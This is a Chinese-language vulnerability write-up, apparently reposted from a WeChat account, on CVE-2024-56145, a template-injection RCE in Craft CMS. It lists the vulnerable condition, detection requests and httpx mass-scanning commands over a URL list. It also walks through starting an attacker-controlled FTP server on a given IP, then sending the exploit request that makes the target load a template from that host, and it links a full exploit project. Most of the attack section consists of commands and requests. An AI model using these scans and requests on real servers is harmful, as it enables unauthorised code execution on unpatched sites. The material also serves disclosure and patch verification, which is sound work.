绪论
如果各位师傅觉得有用的话,可以给我点个关注~~ 如果师傅们有什么好的建议也欢迎联系我~~ 感谢各位师傅的支持~~
正文部分
漏洞详情
Craft 是一种灵活、用户友好的 CMS,用于在 Web 及其他方面创建自定义数字体验。如果受影响版本的用户php.ini配置启用了“register_argc_argv”,则其用户会受到此漏洞的影响。对于这些用户,存在未指定的远程代码执行向量。建议用户更新到版本 3.9.14、4.13.2 或 5.5.2。无法升级的用户应禁用“register_argc_argv”以缓解此问题。
漏洞原理
原作者的分析详情:
https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms
本质上是一个模板注入,通过请求ftp服务器中的模板,并且进行解析,最终实现RCE
漏洞条件
1. 需要服务器出网,能够正常请求ftp服务
2. php.ini配置启用了“register_argc_argv”
POC汇总
请求1:/?--configPath=/aaa开启ftp服务后,进行请求2请求2:/?--templatesPath=ftp://ftp地址:ftp端口
漏洞探测POC
数据包
https://xxx.xxx.xxx/?--configPath=/aaa
使用httpx进行快速验证
httpx.exe -path "/?--configPath=/aaa"-sc -cl -mc 200-l url.txt -ms "mkdir()"
漏洞EXP
启动ftp服务(使用py快速启动)
1. 安装pyftpdlib
pip install pyftpdlib
运行可能会报错 module 'OpenSSL.SSL' has no attribute 'TLS_SERVER_METHOD'
安装两个库即可
pip install cryptography==36.0.2pip install pyOpenSSL==22.0.0
2. 使用pyftpdlib
python -m pyftpdlib -h
快速启动
注意:
-p 表示ftp的启动的端口
-w 表示提供修改权限,默认只读
-d 设置目录,默认就是当前目录
-n 设置外网ip,没有只能127.0.0.1访问!!
-u 可以设置用户名
-P 可以设置密码
不设置账户密码,就可以直接匿名访问
python -m pyftpdlib -p 6666-w -n 189.204.186.73-u admin -P admin
测试FTP连接
ftp访问地址
ftp://username:password@hostname:port
有账户密码:ftp://admin:admin@189.204.186.73:6666无账户密码:ftp://189.204.186.73:6666
新版的edge无法直接访问ftp的连接,要用老版的IE,只需要在浏览器中进行设置即可
使用文件夹访问也可以
创建EXP
在ftp开启目录创建一个default文件夹
再再default文件中创建一个index.html
index.html
<html><body>hello world {{ 7*7 }}</body></html>
访问EXP
/?--templatesPath=ftp://ftp地址:ftp端口
{{ 7*7}} 被正常解析
ftp收到数据
httpx快速验证
注意:在开启ftp服务的情况下运行
httpx.exe -path"/?--templatesPath=ftp://189.204.186.73:6666/"-sc-cl-mc200-l url.txt -ms"hello world 49"
复现的问题
如果发现页面报错server Error,并且FTP没有响应,可能是网站不出网,无法请求到FTP服务器
成熟的EXP项目
https://github.com/Chocapikk/CVE-2024-56145/tree/main
知识星球
原文始发于微信公众号(fkalis):【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论